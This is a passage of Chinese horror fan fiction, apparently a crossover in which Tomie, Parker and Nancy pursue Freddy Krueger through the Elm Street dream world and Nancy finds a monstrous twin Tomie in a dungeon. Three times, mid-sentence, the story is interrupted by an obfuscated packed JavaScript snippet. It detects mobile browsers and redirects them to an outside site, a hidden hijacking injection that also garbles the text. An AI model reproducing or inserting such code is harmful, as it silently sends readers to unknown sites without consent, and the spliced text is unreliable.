黑暗中的钢爪怪人伸出尖锐的食指,隔空点了点富江。 “哦不,不不不,是我认错了,并非小羊羔。” 他的钢爪摁住帽子,有些滑稽地向扶梯上的女孩行了个礼。 富江一眨眼,站在正前方的身影忽然消失了。 她像是有预感一般,扭过头向身后看去。 “而是多萝西!” 果不其然,刚才还站在底下向她打招呼的钢爪怪人猛然出现在了长廊之上。 “拥有一头黑发的多萝西,美丽的多萝西,误入了奥兹国的小天真多萝西!” 他跳着滑稽的舞蹈,转着圈,钢爪划过栏杆,发出让人牙酸的尖利声响。 富江知道“多萝西”这个名字,她是《绿野仙踪》故事的女主角,一个生活在堪萨州,却误入异世界奥兹国的普通小姑娘。 在故事里,多萝西遇到了很多困难和阻碍,甚至遇到了邪恶的坏人阻止她回家。但同时,她也遇到了许多真诚又善良的小伙伴。 最终,善良战胜了邪恶,多萝西也回到了自己的世界。 手持钢爪的怪人慢慢接近,富江却并不害怕,反倒饶有兴趣地开口问道:“如果我是多萝西,那……你是谁?” “谁知道呢?” 那人的脚步停顿了一下,夸张地比划了一个臃肿的身材。 “说不定,我是稻草人?” 帽子遮挡了他的大半张脸,但他们之间的距离已经近得让女孩足以看清他裸露在外的皮肤。 “又或者……我是那个带领多萝西的帽匠?” 暗红色的,满是凹凸不平的疤痕的,被严重烧伤过的皮肤。 暗红色的手摁住帽子,也遮盖住了男人的大半张脸,唯独他的下巴和嘴裸露在外,不怀好意地咧着。 “可爱的多萝西觉得呢?我应该是这个故事里的哪个角色?” 富江挑了挑眉,上下打量起了眼前已经杀了无数孩童的恶魔。 ……虽然她已经预设了很多种情况,但见到了真人,却难免还是有点失望。 因为在她看来,这个传闻中是100个疯子的后代的恶魔之子,完完全全就是个普通人。 一个在死后接受了邪恶力量的,恶贯满盈的,普通人罢了。 于是,女孩笑了起来。 “我本来以为你会是‘女巫’,亲爱的先生。” 她背过手,优哉游哉地看着已经将钢爪伸出来的恶灵,缓缓地向后退了两步。 “但没想到,你居然是奥兹大法师。” 没错,奥兹大法师。一个误入奥兹国,没有任何特殊能力,通过魔术技巧让所有人相信他是个无所不能的大法师的——骗子。 “很可惜,奥兹先生,我想你认错人了。” 伴随着女孩的话语,她脚下的阴影越来越大,变成了一个深不见底的黑洞。 “我并不是那位可爱又善良的多萝西,她已经被我送回了温暖的小家,连带着她的伙伴一起。” 他们说的毕竟只是《绿野仙踪》的故事。 而富江,也不是真正的多萝西。 “……该死的,你是谁。” 富江没有回答,而是笑着,又往后退了一步。 她瞬间从黑洞边缘掉了下去。 “不——!” 在彻底闭上眼之前,女孩听到了恶魔发出愤怒的咆哮声。 然后等富江再睁开眼,她已经回到了今天刚刚下榻的旅馆大床上。 “富江?” 帕克正如同约定一般,坐在床边观察她的状态。 “怎么样,你,睡着了吗?” “我看到了弗莱迪·克鲁格。”女孩坐起身,“和我们预想的一样,他躲在榆树街的梦里。” 是的,并非某人的梦,而是榆树街的梦境。 虽然肉///体被火焰焚烧至消亡,但那个男人的灵魂却没有消失。 到现在,他也依然躲在梦中,囚禁着被自己所杀害的孩子们的灵魂,窥伺着已经变得和平的榆树街小镇。 “所以你,你和他碰面了?” “算是吧。”富江用手指梳理着长发,“比想象中还要无聊的家伙。” 帕克的嘴角抽搐了一下。 恶贯满盈不知悔改,生前就杀害无数孩童,死后还会在梦境里残杀普通人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873595|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“恶魔”,对富江来说,也只是个“无聊的家伙”。 他不知道该怎么接话,只能沉默。 富江看了眼心事重重的帕克,也笑了一下:“好了,今天很晚了,你就先去休息吧。” 曼达去找律师,明天他们还要去警局给罗德办一些手续和申请。 “放心,我就在这里。”富江坐在床上,双手抱膝,歪着头看着男人。“有我在,你是不会被噩梦侵扰的。” “我发誓。” 话虽这么说,但帕克今晚却还是失眠了。 一来是对梦境中潜藏的杀手怀有恐惧感,二来,从斯洛伐克回来后他也确实有了睡眠障碍。 迷迷糊糊休息到早上八点,青年便被一通来自警局的电话彻底叫醒。 一通关于罗德的电话。 十几分钟后,急匆匆的帕克带着富江赶到了警局。而迎接他们的,是一名叫做汤普森的警长。 老警长神情严肃地告诉了帕克一个不好的消息,是关于罗德的。 就在半小时前警察查房的时候,他们发现这个可怜的少年不知道发生了什么,从监牢的床上摔了下去,磕伤了头部昏迷不醒。 如今,人已经被送去了医院。 “什么?!” 得知这个消息,帕克一个激灵,猛然转身看向了富江。 和女孩对上视线的瞬间,看到对方毫无波澜的双眼,他就知道罗德昏迷的原因是什么了。 见鬼的,是富江,一定是她干的! 榆树街的医院距离警局并不远,他们俩跟着警察到医院的时候罗德也就刚被送进病房一小会儿。 因为是谋杀案的嫌疑人,警察和医生都对昏迷的罗德严阵以待,人刚到医院就被做了全套检查,连脑波都测过了。 但很遗憾,检查结果一切正常。这男孩只是头部被磕碰了一下,最严重的情况也就是个轻微脑震荡。 医生翻来覆去的查也没查出什么病来,只能说男孩陷入了一个很神奇的,像是昏迷又像是深度睡眠的状态。 至此,帕克已经可以百分百断定,是富江对罗德动了什么手脚。 “到底怎么回事?!” 应付完医院里已经焦头烂额的警探与医生,趁着他们都在忙,帕克一把拽住在自己身边伪装乖宝宝的女孩,将她拉到医院大门外,愤怒地质问了起来。 “你不是说会保护好罗德吗?现在又是什么情况?” “我是在保护他呀。” 要说现在谁的情况最危险,那肯定是身处牢狱之中的罗德。毕竟他既不知道弗莱迪·克鲁格的真身,能让自己保持醒着的方法也几乎没有。 “只要睡着,他就是一只待宰的羔羊,昨天晚上我已经在梦里见到他了。” “是我把罗德送出去的。” 帕克吃了一惊:“什……你没告诉我!” 富江撅起嘴,看上去有些委屈:“因为你没问。” 女孩的表情太生动了,帕克张了张嘴,最终什么都没说出来,只能懊恼又烦躁地用手抓住头发。 该死的,他确实没问。 男人烦躁又憋闷的样子逗笑了富江,她并不讨厌帕克这样直来直去的人,慢悠悠地继续解释道。 “放心吧,我只是切断了他意识与梦境的连接。” 就像是给一台电脑断网一样。现在的罗德虽然昏迷着,意识却已经无法再被转移到梦境世界中。 也就是说,弗莱迪·克鲁格已经无法对这个男孩下手了。 她这个说法显然让帕克紧绷的精神放松了不少。 “不过我还是不懂,为什么你要让罗德——” “嘿!你,你们!” 还没等帕克问完自己的最后一个问题,远处忽然传来了一道急切的女声,打断了他们的谈话。 二人同时看向声音的来源处,只见一个茶色长发的女孩正急切地从马路对面向他们跑来。 是南茜·汤普森。 “啊对了,我昨天在梦里也见到那个女孩了。” 富江又一次慢悠悠地扔下一枚炸弹,开始笑着跟对面招手。 而帕克,看看身边老神在在的“定时炸弹”,再看着由远而近明显怒气冲冲的南茜,他的脑子已经开始嗡嗡作响。 但凶神惹不得,南茜更是无缘无故被牵连的受害者。所以最后,帕克只能掏出香烟,喃喃骂了一句: “……该死的弗莱迪·克鲁格。” 48. 第 48 章 当夜,富江和帕克所在的旅馆套房内多了一个人。 “好吧,你确定要这么做吗南茜?” “是的,因为弗莱迪·克鲁格的目标是我们。” 站在屋内与帕克说话的,赫然是早上怒气冲冲在医院门口堵住二人的南茜。 “如果我也进入梦境,他一定会出现……我们必须趁着其他人还没有受到伤害之前,把弗莱迪消灭掉。” 早上堵住两人的时候南茜可以说是又惊又怒,毕竟梦里才被富江吓到,醒来又从自己的警长父亲那里得知罗德陷入了昏迷。 有那么十几分钟,她甚至以为自己在梦里遇到的“富江”是梦中恶魔的同伙。 但在帕克的游说下,女孩很快接受了他们调查到的情报,并且放下疑心开始反过头来帮助二人。 “我以为你会怀疑我们。” “一开始是的。”南茜苦笑了一下。“但现在这里只有你们相信我,也只有富江见过弗莱迪。” 是的,现在这个小镇上,相信着南茜,能够帮助她的,只有帕克和富江两个人。 得知女孩被噩梦困扰后,母亲将她送到了医院检查。身为警长的父亲即使知道蒂娜的死亡有蹊跷,也坚决认为所谓的梦中恶魔不存在。甚至南茜的男友,蒂娜的父母,所有人都是这么想的。 毕竟谁会相信噩梦可以杀死人呢? 但蒂娜确实是死了,而罗德甚至南茜,要是没有富江,他们很可能也会在噩梦里被弗莱迪追杀,戏耍,最后被杀死。 “只有你们告诉了我弗莱迪·克鲁格的故事。” 说这句话的时候,南茜的声音微微颤抖,眼眶也红了。 “而且你们也是真的想帮助罗德,所以我选择相信你们。” 帕克看着女孩快哭出来的样子,一时间语塞。 而富江—— 她坐在床上,用手托着下巴,开心地笑了起来:“谢谢你愿意帮助我们,放心,不出意外的话,那位先生今晚就会被我抓住。” 结果她说完这话,站在床边的两个人表情也没有变轻松。尤其是南茜,在梦里见过富江使用奇怪的能力之后,她整个人都变得戒备了许多,态度也冷了下来。 但富江不介意。 在她眼里,有些冷漠又戒备的南茜看上去就像是警惕外敌的小动物。 轻轻一戳就会慌乱逃窜的那种,毛茸茸的可爱小动物。一点危害性都没有,只会让她升起怜爱之心,怕吓唬到对方。 “所以,我们再过一遍计划。”感觉到两个女孩之间有些微妙的氛围,身为常识人的帕克决定转移话题。“简单来说就是南茜和富江一起进入梦里,然后南茜作为诱饵引诱弗莱迪现身。” 作为梦境世界的一员,弗莱迪要比富江更加熟悉如何在梦中穿梭以及躲藏。 而且上次进入梦中富江就发现了,梦的世界是意识的世界,她尚且无法在这个世界里自如地控制力量。除非真的将整个梦境世界翻个底朝天,不然主动抓主弗莱迪还是有难度的。 多入梦几次说不定她会更加熟练,但显然,被弗莱迪瞄准的受害人已经等不及了。 “听着,虽然我说过自己有睡眠障碍不吃药就没办法睡着,但……你们确定不需要我一起进去?” “是的。”富江回答得很果断,“因为帕克你还在做噩梦。” 如果说三个人里谁最容易被弗莱迪锁定成猎杀目标,那么,毫无疑问的,肯定是至今还在被梦魇所扰的帕克。 “而且……”富江双手抱膝,孩子气地撅起嘴。“要是你也进去了,我不就暴露了?万一弗莱迪先生逃跑该怎么办?” “你——” “我说错了吗?” 男人的脸色霎时间变得很难看。 因为她没有说错,帕克的梦魇不是别人,正是富江。 有了第一次入梦时的经验,富江第二次进入梦境世界就简单多了。 不过等她在梦中睁开眼睛时,南茜并不在旅馆的客房内。 几人在睡前已经约好了一同行动,所以不可能是南茜主动把她抛下的。 “诶呀诶呀,莫非,是我被针对了?” 富江果断闭上了眼睛,将潜藏在阴影中的力量扩散了出去。 她感知到了很多东西。 梦中世界比女孩想象中的还要复杂,除了被杀害的孩童们的恐惧与痛苦外,普通人做梦时模糊的思绪和感情也被混杂在了这个世界里。 她感知探测的触手即使涌入这个世界的阴影,也只能收获混沌的白雾。 这让她想起了某个熟悉的故人。 朦朦胧胧,虚实难辨,就像是烟雾那般,无法抓住实体。 一种难以言喻的感觉从富江心底蔓延开来。她睁开眼,黑红色早已填满了眼白。 “好麻烦,算了,我不玩了。” 话音刚落,女孩的阴影猛然扭曲,黑红色的泥之海瞬间扩散。地板,墙壁,卧室,甚至整个旅馆,都被彻底染成了黑色。 黑红色的世界里,富江笑了起来。 “接下来,就用我的规则玩吧。” ------------------------------------- 南茜·汤普森睁开眼的时候,惊讶地发现,自己回到了家中的卧室里。 她先是从床上跳起来,确认身边没人,自言自语地骂了一声:“该死……!” 女孩很聪明,立刻猜到弗莱迪·克鲁格恐怕在梦里做了手脚。 总之,她现在和富江失散了。 “冷静点,冷静点南茜……” 南茜捋了一把刘海,一边缓慢地吐息让自己冷静下来,一边开始查看四周的情况。 与之前几次入梦不同,这回,她并没有在梦中看到蒂娜。 妈妈并不在房中,而屋外的街道也静悄悄,只是飘散着现实中不存在的白雾,显得远处的建筑朦朦胧胧的。 南茜漫无目的地走在街上。 她的脑子很乱,想了很多事情。不光是弗莱迪·克鲁格的,也有帕克和富江的。 在和他们二人深度交流后,心细的少女愈发笃定,那两人并不是什么兄妹。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895847|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不仅如此,帕克还很害怕富江。 但她理解男人,因为她也怕。 从那个死里逃生的噩梦之后,从她亲眼看到从富江手指中流出的液体滴落在罗德脸上,然后她的朋友虽然从梦中逃脱了,但也彻底昏迷不醒之后。她对这个亚裔女孩就从好奇转变为了充满恐惧。 但,即使南茜害怕富江,她也并不讨厌那个女孩。 原因很复杂,一来是天生的,作为人类的直觉。二来,虽然她来历成谜,却愿意帮助已经被弗莱迪逼得走投无路的自己。 南茜愿意赌一把,为了活下去,也是为了榆树街的其他人。 没有找到富江,女孩本想着赶去梦中旅馆的位置,但当她踏出自己所在的街道时,却愣住了。 原本熟悉的小镇道路不复存在,显现在南茜面前的,是截然不同的,绝对不可能属于美国的小镇街道。 狭窄的道路,精致的院子,小巧的二层小楼,还有高高的,有些密集的电线杆。 以一条细细的马路为分界线,熟悉的小镇街道与陌生的城市连接在了一起。 两边是截然不同的风景。 建筑风格,绿化,环境,甚至微妙的还有点色差。 就像是粗心的孩子将两幅风格截然不同的画报剪开又拼接在一起似的,歪歪扭扭,毫不兼容,还有一条很显眼的接痕。 “什……什么?” 不知道为什么,南茜脑海中浮现出了富江的脸。 她的直觉告诉她,梦中世界诡异的变化,很可能与并非榆树街人的富江有关系。 想到这个,那种惶惶然的恐惧感减轻了不少。 南茜深呼吸了几下,待心跳平静后,迈开步子,头也不回地走入了这个陌生的城市街道中。 与榆树街一样,陌生的街道内空无一人。淡淡的白雾环绕在狭窄的水泥路,与有些高的围墙间,让那些小院子,小楼都模模糊糊的。 南茜曾经尝试着推开某户人家院门口的小门,却无论如何都推不动那薄薄的木板。这让她隐隐约约有些一些感觉。 如果说梦中的榆树街与现实相差无几,那么眼前这个崭新的街区,就像是电影中被搭建而出的布景一般,看着真实,但其实都是假的。 那么有真实存在的建筑或是场景吗? 女孩的疑问很快得到了解答。 满是白雾的道路的尽头,她看到了一个古朴的,有着砖红色墙面的宅邸。 只一眼她就知道,这座宅邸和其他“布景”完全不同。 它看上去更加真实,大门也是敞开的。就好像在告诉来访者,这间屋子欢迎所有人一样。 南茜小心翼翼地走向前,却意外在大门口看到了一个面朝下躺在地上的身影。 “哦天呐!” 女孩惊叫一声,先是在远处观察了一下,在看清地上那人褐色的卷发以及她很熟悉的上衣时,才慌忙朝倒在地上的人跑去。 “格伦?是格伦吗?” 南茜想的没错,在大宅门前昏迷不醒的,赫然就是她现实生活中的男友,格伦。 49. 第 49 章 其实看到男友的瞬间,南茜有那么几秒钟是怀疑的,眼前的人也有可能不是格伦,是弗莱迪假扮的也说不定。 但看他睡眼朦胧地睁开眼叫了一声“南茜”,还习惯性地捋了一把自己的一头卷毛,女孩心中的那点疑惑就减轻了不少。 就算弗莱迪能够伪装,一些小细节短时间之内他也不可能全部掌握。 “怎……怎么回事?我在哪?” 据格伦说,他几分钟前应该还在自己床上睡着,但再睁眼就是被南茜叫醒,身处一个奇怪的地方了。 “嘿格伦,我知道这听上去很不可思议,但……我们现在在梦里。” 弗莱迪·克鲁格还不知道躲在哪,南茜只能对自己男友长话短说,简单解释了一下现在的情况。 “我和另一个一起进入梦里的女孩失散了,不过我有线索,大概和这栋建筑有关。” 说完,南茜又抬头看了眼面前的欧式洋房。陌生的世界,陌生的街道,最后,是完全没见过的,有些阴森的建筑。 “格伦,答应我,一会儿进去我们不要分开好吗?” 她的男友格伦是个俊秀又天真的少年,虽然刚醒过来意识还有些朦朦胧胧的,但看到南茜这么严肃的样子,便也点点头。 “好的南茜,我不会离开你的。” 得到了爱人的保证,女孩的心放到了肚子里。 二人搀扶在一起,屏息走进了洋房敞开的大门。 宅邸内的大厅空荡荡的,虽然没有风,却无端有些阴冷。 虽然是西洋风的建筑与装饰风格,但南茜总觉得有哪里不对,身旁的格伦更是开始四处查看走动。 “这里看上去不像是美国。” 男孩一边观察着屋内的装潢,时不时还会向屋外瞥一眼。 “包括外面的街道,和榆树街完全不同,我们是在梦里来到日本了吗?” “日本?” “是啊。”格伦说着指了指屋外,“外面那种街道。”又伸手摸了一下大厅柜子上精致的异国装饰。“还有这个,我在我爸朋友那看过,是日本的一种漆器。” 他一边摸着光滑的漆器,一边露出有些困惑的笑:“但……我们都没去过日本?” 照理说梦境是他们日常生活,甚至弗莱迪·克鲁格记忆的投射,是不可能出现未曾见过的东西的。 “……我大概知道是为什么。” 南茜依稀记得帕克介绍过,说“富江”是自己的远房表妹,母亲是日本人。 现在看来,“远方表妹”极有可能是假的,但日本人却是真的。 “这栋建筑大概有,三层?不对,四层。” 南茜的脑子还在疯狂转动,格伦则开始查探起了屋子的结构。 “好像还有个地下室。” 南茜跟着格伦,也走到了楼梯口处。 正如男孩说的,除了通向上的楼梯之外,这里还有一扇虚掩着的大门。一看就是通往地下室的。 南茜壮着胆子推开门,一盏发黄的小灯挂在顶上,只照亮了楼梯的前半段。通向地下室的后半段楼梯,被黑暗所掩盖。 这阵仗,就算是格伦也有点犯嘀咕。 “呃……不然我们还是先从楼上开始找找看——” 结果他话没说完,南茜忽然把手挡在嘴边:“嘘!安静点!” 男生不明所以,但还是乖乖闭嘴。 几秒钟后,一阵微弱的声音从通往地下的长廊中传了出来。 “————命——” “好像有人在下面。” 这下轮到格伦紧张了:“你该不会要下去吧?” 说实话,南茜是不想下去的。 很显然,搜查拥有窗户和逃脱路径的楼上要比很可能只有一个出入口的地下室来得稳妥得多。那个微弱的呼救声也有可能是坏人布下的诱饵。 但现在她找不到富江,也搞不清这幢宅子的来历。更麻烦的是那个梦境杀手,弗莱迪·克鲁格,还不知道他藏在哪里。 女孩回过头,开始在大厅里寻找趁手的,能防身的武器。 空旷的大厅有几个一看就是摆了贵东西的展示柜,她在里面找到了一把开了刃的匕首,格伦则在门口的五斗柜里找到了一柄高尔夫球杆。 借着微弱的灯光,两人摸索着走入了幽深的通道。 令人惊讶的是,与其说这幢宅邸有个地下室,不如说它有整整一层,类似储物地窖一般的宽敞空间。 与楼上不同的是,地窖整体是由青灰色的岩石堆砌而成,且没有窗户。微弱的灯光下,这里显得潮湿又阴冷,走廊边堆着的铠甲也增添了一丝阴森感。 与飘散着焦糊味的锅炉厂完全不同,却依然让人毛骨悚然。 走到了地下,呼救声变得明显了起来。二人沿着声音找过去,不出意外地发现了与地窖完美契合的监牢。 是的,监牢。 而在监牢之中以微弱的声音呼救的则是—— “富江?!你怎么在这里?!” 灰色的牢狱中,黑发红裙的亚裔女孩被锁链拴住手脚,牢牢绑缚在牢房的墙面上。 她低垂着头,漆黑的长发遮盖住了一部分脸,声音听上去虚弱极了。 “救命……救救我,谁来救救我……” 奇妙的是,富江口中所说的言语虽然听上去完全是异国的无法听懂的语言。南茜和格伦却可以理解她在说什么。 “她就是你说的朋友?为什么会在这?” “我不知道。”南茜说着,一步跨到牢房前,抓住栏杆。“富江?富江!能听到我说话吗?” 监牢内的女孩闻言抬起头,南茜听到格伦倒抽了一口冷气。 即使被抓,处境看上去狼狈不堪,这名亚裔女孩也依然有着可怕的,能够吸引所有人注意力的美貌。现在,这张美丽的脸哭得梨花带雨,杏眼中还在不断滚落泪珠。 “你们……是谁?” 见对方有反应,南茜继续道:“是我啊富江,我是南茜。他是我男友,之前跟你提过的格伦。我们现在都在梦里,你不记得了吗?” 但接下来发生的事,却让南茜有些无法理解了。 只见黑发女孩皱起眉,哀怨地看着她:“我被束缚了很久,求求你们救救我,把我从这片地狱里救出来。” “你在说什么啊富江?我们不是一起进入梦境的吗?” 从他们睡着到现在差不多也就过了不到一小时,为什么富江却说自己已经被束缚了很久了? 而且,她看上去像是不认识自己似的。 南茜尝试着晃动铁门,门栓上的锁子已经锈迹斑斑却依然牢固。她和格伦砸了几下,铁锁纹丝不动。 “等等,我们刚才路过的盔甲,我记得有武器。” 格伦看上去已经完全醒了,说完没等南茜反应拔腿就往来的方向走。 “那边不算远,我去把斧子拿过来,应该可以劈开。” 没来得及喊住格伦,南茜只能扭过头继续观察被关在牢里的富江。她心中的疑惑也越来越大。 “富江,听着……你真的不认识我吗?” 话音刚落,原本哭的梨花带雨,一脸无助的美丽女孩瞬间变脸! “我当然不认识你,我怎么可能会认识你们!” 她皱起眉,一双杏眼中满是怨毒的光,俏丽的五官也变得有些扭曲。 “你们都是那家伙蒙骗的蠢货罢了,根本没有注意到她是假的。” “我才是……我才是川上富江!我才是真正的川上富江!!” “斧头来了,该死的这还挺沉——” “格伦等一下!” 伴随着南茜的叫喊,男孩被吓了一跳,然而等他抬头,眼前诡异的一幕更让他不由自主地后退一步,双手一松,铁斧应声跌落在地。 牢中的美人发出凄厉而痛苦的叫喊,她白皙的脖颈处开始不断鼓起,像是有什么东西在表皮下游走呼吸一般。 鼓起越来越大,越来越大,在惨叫声中,那层吹弹可破的白皙皮肤终于被撑破了。 鲜血顺着绽裂的伤口流淌而下,将女孩的红裙进一步晕染。 但令南茜和格伦更为恐惧的是,那裂开的伤口中,冒出了一颗光溜溜的,睁着眼睛的人头! 川上富江痛苦地尖叫着,而那人头张开嘴,嘶哑地骂了起来:“别吵了!吵死了!你这废物,没用的家伙!” “闭嘴!闭嘴!给我闭嘴!冒牌货!你们都是冒牌货!” 光溜溜的人头发出一声嗤笑,不断地从女孩脖颈上的伤口往外冒着,不多时整个脑袋都裸露在了外面。 虽然没有头发,满脸被鲜血浸染,但南茜还是在这颗怒叱富江的人头上看到了那颗熟悉的美人痣。 是的,她也有着富江的样貌。 “为什么会这样……”被束缚在墙上的红衣女孩还在哭骂着,“只有我是真的,为什么只有我要被关在这里?” “你这蠢货,到现在还在纠结这个,白白浪费了逃跑的机会。” 人头说着,忽然张开嘴,狠狠咬向与自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910186|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己同一个身体的女孩的脖颈。 她下口又快又狠,南茜只来得及惊叫一声,便看到红裙女孩的脖子被咬裂开了一个口子。 那个原本哭泣的,美丽的亚裔女孩顿时连声音都发不出来了,只能抽搐着,徒劳地张开嘴,一双眼睛却怨恨地看向正贪婪啜饮鲜血的人头。 人头撕扯着嫩肉,同样恶狠狠地看着面前的女孩:“趁着那怪物没发现,快把养分给我!我要逃出这个牢笼。” 南茜和格伦哑口无言,只能紧紧抱住彼此。因为此情此景所带来的恐惧感,已经远超被弗莱迪·克鲁格追杀的隐忧了。 “我,我们该怎么办?这真是你朋友?” “我不知道……”南茜慌乱地摇着头,笼子里的人头已经开始啃食起了女孩的肉///体,而且,她还在迅速长大。“富江不是这样的。” “我当然不是这样的。” 冷不丁,身旁传来了一个女声。 南茜回过头,一旁的过道上,赫然站着又一个黑色长发,眼角有一颗美人痣的亚裔女孩。 ------------------------------------- 富江有些为难地看着监牢内已经开始吞噬上一个自己的姐姐,叹了口气。 她好不容易等到一个相对脾气比较好,愿意和她交流的姐姐,结果又变成了这样。 把自己的意识接入榆树街大梦境里面,在融合的过程中力量不稳定,出现情况很正常。 结果谁能想到,最大的幺蛾子出在亲爱的姐姐身上了呢? “啊……啊啊啊——!!” 牢中的人头发出了愤怒的喊叫。 “是你是你是你是你!!小偷小偷小偷小偷!!!” 被束缚在墙上的红裙女孩已经不动弹了,而原本只是作为“肉瘤”的人头明显比刚才长得更大,甚至长出了脖子,和一条比婴儿还要纤细的手臂。 她的皮肤还没长好,血红的肉蠕动的同时,不断有鲜血渗出,显得毛骨悚然。 人头没有黑色的瞳仁,一双只有眼白的眼睛直直地朝着富江的方向。 “哈哈哈,没想到吧!怪物!你关了我这么久,折磨了我这么久!我还是我,川上富江只能有我一个!” 富江无奈地摇摇头:“我也只是想和你好好说说话而已啊姐姐,别这么生气。” “富……富江?” 女孩抬眸,看了眼已经被吓得浑身发抖的南茜。 “不好意思啊南茜,让你和你男友见笑了。” “我还没介绍呢。”她像是没事人一般,伸手指了指牢房里愤怒地叫骂着的怪物。“这是我的姐姐。” “也是让我降生的人。” “谁是你姐姐,你这恶心的烂泥!” 短短几分钟,牢里自称川上富江的人头已经长出了畸形的身体。因为已经将死去的红裙富江吃了一半,没有支撑的女人从墙面跌落到地上,挣扎着用尚未成型的手和脚撑住地面。 “占用了我的身体不说还盗用了我的名字,恶心的小偷!当初就不该在那个婊///子身上做实验,也不该听他们几个的话!” 闻言,富江脸上的笑容淡了下来。 “姐姐,你不能这么说大姐姐坏话,她是因为你想要长生不老,想要停止分裂才被迫接受实验变成怪物的。爸爸也因为这件事一病不起。” 说着,她缓缓走到牢门前,蹲下身,单手托腮,看着狼狈的女人。 “而且,我也是因为你许了愿才降临的呀。” “自从我来了,你看,你的分裂停止了,那些男人也不会再想杀死你了。” 牢外的“富江”笑了起来,居高临下地看着趴在地上,甚至无力站起,身体已经因为吞噬变得畸形的富江。 “这些,不都是你的愿望吗?” 像是被她所说刺激到了,牢里的怪物爆发出刺耳的尖叫。同时,那畸形而脆弱的身体迅速膨胀,几秒钟内涨大到了一个离奇且夸张的程度。 融合了牢房内的另一具身体,除了头部还保留着人类的样子,“川上富江”的身体变得粗壮且蜿蜒,像是长了人手臂的巨蛇一般。 几只细长畸形的胳膊从牢房的缝隙中猛然窜出来,死死卡住了蹲在门外的女孩的脖子。 被迫抬起头的瞬间,富江瞥到南茜拽着身边的青年慌忙地逃离现场。 她无奈地叹了口气。 现在跑出去也没用啊。 因为弗莱迪·克鲁格已经进到这幢宅子里了。 50. 第 50 章 “……南茜,我说南茜。”狂奔之中,格伦上气不接下气地叫着女友的名字。“你不是说她是你朋友吗?” “我也不知道!进入梦之前都还好好的!” 震耳欲聋的咆哮声震得地下通道簌簌发抖,而南茜和格伦,这对倒霉情侣正朝出口一路狂奔。 女孩现在大脑如同一团乱麻。 为什么牢里的富江会说“富江”是小偷?为什么富江能够自我分裂?还有认识他们的富江,她说的“降临”、“实现愿望”又是什么意思? 突如其来的状况把南茜搞懵了,但她的第六感正在报警。 或许“富江”是比弗莱迪·克鲁格更加危险的存在也说不定。 二人跌跌撞撞地冲回一楼,见大门没关上都松了一口气。 但这份松懈并没有持续多久,当南茜拉着格伦走出宅邸大门的那一刻,她因为劫后余生而露出的笑容凝固在了脸上。 在这个三层洋房外,停着一辆大车。一辆车头挂着圆锤的,专门用来拆出房屋的,重型机械车。 “……该死……格伦。” “怎么了?” 南茜一脸严肃地看着重型机械车上那个正对着他们二人招手的司机:“你不是一直很好奇弗莱迪是谁吗?” 男孩顺着女友的目光看向驾驶座,在瞥见司机高帽下满是烧伤的脸后,也楞楞地骂了一句:“糟透了。” 下一秒,满脸笑容的弗莱迪·克鲁格猛然推动操纵杆,巨大的机械臂发出轰鸣声,吊球直直朝二人冲了过来! “小心!” 格伦惊叫一声,拉过南茜朝旁边一躲,顺利避开了吊球的第一次攻击。 沉重的吊球没有碰到人,顺着惯性直接砸进了宅邸的墙面上,只听一声巨响,美丽的砖红色高墙被一击打烂。 但弗莱迪的攻击并未停止。操纵杆在他手里,男人发出刺耳的,幸灾乐祸的笑声,打着方向盘,不断推动操纵杆,让吊球飞舞起来。 不仅仅是为了攻击逃窜的南茜与格伦,也是为了将这幢美丽的洋房摧毁殆尽。 “不行了南茜,我们得赶紧离开这里!” “但是——” 但是这是在梦中,无论逃到哪弗莱迪都会追来。 没等南茜说完这句话,吊球又一次向他们袭来。 在一次次的躲避中,女孩的体力已经被消耗殆尽。 这次,是她心爱的男友,用尽全力将她从摇摇欲坠的高墙下推开。 “格伦————!!” 在南茜撕心裂肺的叫喊声中,俊秀的男孩被轰然倒下的碎石瓦砾淹没。 下一秒,诡异的事情发生了。 从断壁残垣之中,忽然源源不断地冒出了黑红色的,像是污泥一般的东西。 这些东西出现得无声且迅速,南茜狼狈地摔落在地,甚至还没来得及细看,从缝隙中涌出的泥已经凝聚成一股巨大的“浪涛”,迅猛地冲向了将大宅砸成半废墟的重型机械车。 柔软的,没有一点棱角的“泥”化作藤蔓,死死绞住嚣张跋扈的重型机械车。须臾,只听一阵令人牙酸的吱嘎声,原本看似坚不可摧的钢铁便被挤压变形。 几秒钟后,不堪重负的机械车发出最后的悲鸣,轰隆一声彻底炸开。 南茜躲闪不及,被爆炸的冲击波掀翻在地。她觉得喉头一阵腥甜,耳朵嗡嗡作响的同时,眼前也一片空白。 “格……格伦……!” 女孩来不及喘///息,在废墟中,她奋力撑起身体,跌跌撞撞地向格伦被掩埋的废墟冲过去。 “格伦!格伦快回答我!” 